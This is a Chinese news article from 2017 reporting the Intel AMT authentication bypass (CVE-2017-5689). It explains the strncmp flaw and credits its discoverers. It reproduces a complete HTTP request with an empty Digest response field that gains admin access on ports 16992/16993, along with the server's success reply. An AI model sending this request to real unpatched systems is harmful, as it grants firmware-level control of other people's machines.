社会焦点

只要使用一个空的登录字符串!即可远程劫持采用英特尔不安全芯片的计算机

字号+ 作者: 来源: 2017-05-07

只要使用一个空的登录字符串!即可远程劫持采用英特尔不安全芯片的计算机,靳光辉英特尔近况,sql远程连接字符串,2016年英特尔科学奖获奖者,英特尔公司简介,英特尔符文是怎么得来的

  这个漏洞让不法分子得以控制使用vPro和AMT的系统。

只要使用一个空的登录字符串!即可远程劫持采用英特尔不安全芯片的计算机

  你可以远程控制采用易受攻击的英特尔芯片的计算机,只要向它们发送空的验证字符串。

  你没有看错,确实如此!本该要求你发送一个密码哈希值,你却发送了零字节,什么都没有。想想你会有怎样的回报?居然可以通过网络――如果管理接口面向公共Web的话,还可以通过互联网,获得系统硬件的底层访问权,权限很大。

  瞧瞧下一次英特尔(市值1800亿美元的国际半导体巨头)再如何谈论自己对待安全有多重视了。

  概述一下:英特尔为其商务处理器和企业级处理器提供一种名为AMT的远程管理工具包;这个软件是这家芯片巨头的vPro套件的一部分,在固件层面运行,你使用的Windows、Linux或其他任何操作系统根本看不见它。代码在英特尔的管理引擎(Management Engine)上运行,这好比是你计算机中的一个小型计算机,全面控制硬件,可与网络端口直接联系,不管运行的是什么样的操作系统和应用程序,都可以控制设备。

  AMT旨在让IT管理员可以远程登录进入到系统底层,那样他们可以重启崩溃的机器,修复和调整操作系统,安装新的操作系统,访问虚拟串行控制台,或者通过VNC获得全面的远程桌面访问。它简直就是上帝模式(god mode)。

  AMT通常由密码保护。本周却爆出了可以绕过这道验证的消息,让不法分子一旦潜入企业网络内部,就可以远程掌控系统。这个严重安全漏洞名为CVE-2017-5689。虽然英特尔已给代码打上了补丁,但用户仍得向硬件供应商索要必要的更新版,以便安装。

  今天我们获悉,钻这个安全漏洞的空子轻而易举,不需要密码,谁都可以控制易受攻击的系统――我们仍在等待相应的补丁。

  AMT是通过一种普通的Web接口经由网络来访问的:该服务侦听端口16992和端口16993。用浏览器访问该服务会弹出提示,要求输入密码,这个密码是使用标准的HTTP Digest验证技术来发送的:使用来自AMT固件的随机数(nonce)以及另外几个元数据,对用户和密码进行哈希处理(即加密)。这个经过加密的响应由英特尔的AMT软件来核实,验证是否有效;如果有效,就将访问权授予管理接口。

  但是如果你发送空的响应,固件就会误以为这是有效的响应,让你长行直入。这意味着,如果你使用代理,将响应改成空的字符串,或者以其他方式设置浏览器,发送空的HTTP Digest验证响应,就可以绕过密码核实机制。

  大致说来,在后台,你的浏览器通常会向AMT服务发送类似这样的内容,这包括哈希响应字符串,含有用户名、密码和服务器随机数:

  GET /index.htm HTTP/1.1

  Host: 192.168.1.2:16992

  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

  Firefox/45.0

  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  Accept-Language: en-US,en;q=0.5

  Accept-Encoding: gzip, deflate

  Referer: http://192.168.1.2:16992/logon.htm

  Connection: keep-alive

  Authorization: Digest username=»admin»,

  realm=»Digest:048A0000000000000000000000000000»,

  nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,

  response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,

  cnonce=»9c5beca4011eea5c»

  好了,对此耍个小花招――使用代理或类似的工具,只要去掉响应哈希,改而发送:

  GET /index.htm HTTP/1.1

  Host: 127.0.0.1:16992

  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

  Firefox/45.0

  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  Accept-Language: en-US,en;q=0.5

  Accept-Encoding: gzip, deflate

  Connection: keep-alive

  Authorization: Digest username=»admin»,

  realm=»Digest:048A0000000000000000000000000000»,

  nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,

  qop=auth, nc=00000001, cnonce=»60513ab58858482c»

  而英特尔的“保安”(固件)会让你进入,尽管你实际上根本没有密码,只是向门卫闪了一下车灯:

  HTTP/1.1 200 OK

  Date: Thu, 4 May 2017 16:09:17 GMT

  Server: AMT

  Content-Type: text/html

  Transfer-Encoding: chunked

  Cache-Control: no cache

  Expires: Thu, 26 Oct 1995 00:00:00 GMT

  如果你在英特尔的固件里面捣鼓一番,会发现底层的这个宝贝:机器码,机器码反编码成类似以下内容的C代码:

  if(strncmp(computed_response, user_response, response_length))

  deny_access();

  你可能也知道了,这个标准函数仅仅比较两个字符串中每一个的response_length字节,看看它们是不是一样:加以比较的两个字符串是试图登录的那个人发送的验证响应(user_response)和服务要求的响应(computed_response)。如果两者相符,密码肯定对的,所以该函数返回零,代码继续授予访问权。如果两个字符串不一样,该函数返回值是非零,这意味着密码不对,所以拒绝访问。到目前为止,一切很好。

  遗憾的是,response_length是用user_response来计算的,所以如果提供的是空字符串,长度为零,没有字节被检查,因而没有字节是不一样的;不出所料,strncmp()返回零,表明验证成功。因而,空的响应字符串被认为有效而被放行,实际上明明是无效的。

  英特尔其实应该检查两个字符串长度一样,因为有效的响应始终是32字节的MD5哈希值。

  发现这个漏洞要感谢Embedi,这家公司对代码作了逆向工程处理(https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf),早在3月份就向英特尔报告了这个漏洞。Tenable也对二进制代码作了一番研究,本周早些时候得出了同样的结论。

转载请注明出处。


1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章